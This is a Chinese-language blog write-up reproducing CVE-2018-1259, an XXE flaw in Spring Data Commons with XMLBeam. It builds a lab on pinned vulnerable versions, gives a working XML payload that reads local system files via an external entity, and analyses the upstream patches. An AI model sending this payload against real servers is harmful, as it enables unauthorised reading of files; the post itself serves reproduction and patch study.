暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

漏洞复现 CVE-2018-1259 Spring XXE

pen4uin 2021-01-23
1654

01

漏洞简介


XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。


02


环境搭建


下载官方的示例包

    git clone https://github.com/spring-projects/spring-data-examples.git

    用idea打开,配置pom.xml文件,

    修改spring-data-commons的版本

      <dependency>
      <groupId>org.springframework.data</groupId>
      <artifactId>spring-data-commons</artifactId>
      <version>2.0.5.RELEASE</version>
      </dependency>

      下载好相关依赖插件和包之后,生成package

        cd /spring/spring-data-examples/web/projection
        mvn clean package

        启动环境:

          cd /spring/spring-data-examples/web/projection/target
          java -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar

          访问:http://127.0.0.1:8080/,

          环境搭建成功,如图。


          03

          漏洞复现


          任意文件读取

          使用post发送xml格式的payload

          如下:

            <?xml version="1.0" encoding="UTF-8"?>        
            <!DOCTYPE foo [
            <!ELEMENT foo ANY >
            <!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >
            ]>
            <user><firstname>&rabbit;</firstname><lastname>don9sec</lastname></user>

            成功读取到了文件内容,如图。


            04

            漏洞分析


            一般在网上还未公开poc时,漏洞补丁对安全攻城狮做应急/复现来说无疑是最好的参考。

              # 详见:
              # xmlbeam的补丁
              https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1
              # spring-data-commons的补丁
              https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8

              可以发现,xmlbeam的补丁中对DefaultXMLFactoriesConfig.java
              进行了如下修改:

              • 配置了默认的feature


              • 禁止实体引用、禁止合并多个XML文档。

              spring-data-commons的补丁在传入XMLBeam的XBProjector时候也做了如下修改:

              • DocumentBuilderFactory设置了参数,阻止外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。


              所以,经过对补丁的分析,可以了解到该XXE漏洞的本质就是因为

                src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java

                配置不当(没有限制外部实体)而导致的,而Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件,于是受到了影响。


                05

                附录

                pom.xml

                替换掉官方示例包的pom.xml即可

                  <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
                  <modelVersion>4.0.0</modelVersion>
                  <artifactId>spring-data-web-projection</artifactId>
                  <name>Spring Data - JSON and XML projection web example</name>
                  <dependencies>
                  <dependency>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-starter-web</artifactId>
                  </dependency>
                  <dependency>
                  <groupId>org.springframework.data</groupId>
                  <artifactId>spring-data-commons</artifactId>
                  <version>2.0.5.RELEASE</version>
                  </dependency>
                  <dependency>
                  <groupId>com.jayway.jsonpath</groupId>
                  <artifactId>json-path</artifactId>
                  </dependency>
                  <dependency>
                  <groupId>org.xmlbeam</groupId>
                  <artifactId>xmlprojector</artifactId>
                  <version>1.4.13</version>
                  </dependency>
                  </dependencies>
                  <build>
                  <plugins>
                  <plugin>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-maven-plugin</artifactId>
                  </plugin>
                  </plugins>
                  </build>
                  </project>

                  参考:

                    https://blog.spoock.com/2018/05/16/cve-2018-1259/


                    文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论